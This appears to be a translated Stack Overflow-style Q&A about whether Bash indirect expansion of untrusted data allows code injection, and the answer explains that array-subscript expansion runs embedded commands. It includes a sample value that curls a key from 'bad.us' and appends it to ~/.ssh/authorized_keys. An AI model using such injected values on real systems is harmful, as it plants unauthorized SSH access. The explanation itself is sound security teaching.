Bash中"$ {!x}"间接扩展的安全注意事项

Fre*_*red 9 bash

假设我有一个变量,x包含未知的任意数据.

以下间接扩展是否存在代码注入或其他形式漏洞的风险?

ARBITRARY_COMMAND "${!x}"
Run Code Online (Sandbox Code Playgroud)

我知道有些情况下,x为有用的现实生活场景指定的方式本身可能会带来风险,需要进行适当的控制或消毒,但我在这里假设x已经初始化的方式不能保证其价值但是,直到上面展示的扩展都没有暴露.

Joh*_*don 3

简而言之:是的,任何未知数据的自动扩展都存在潜在危险。

由gniourf_gniourf提供的答案:

x='a[$(ls>&2)]'

当扩展 时${!x},Bash 将扩展${a[$(ls>&2)]},这是一个数组扩展,因此数组键中的术语,即$(ls>&2),将被扩展...并且这将执行ls(输出到 stderr,以便我们都可以观察到 ls 确实被执行) 。

例如ls,您可以这样做:

x='a[$(curl -s bad.us/pubkey >> ~/.ssh/authorized_keys)]'
Run Code Online (Sandbox Code Playgroud)

当评估时${!x},会将一个潜在不友好的公钥附加到您的authorized_keys文件中,这可能允许不友好的人通过ssh进入您的帐户。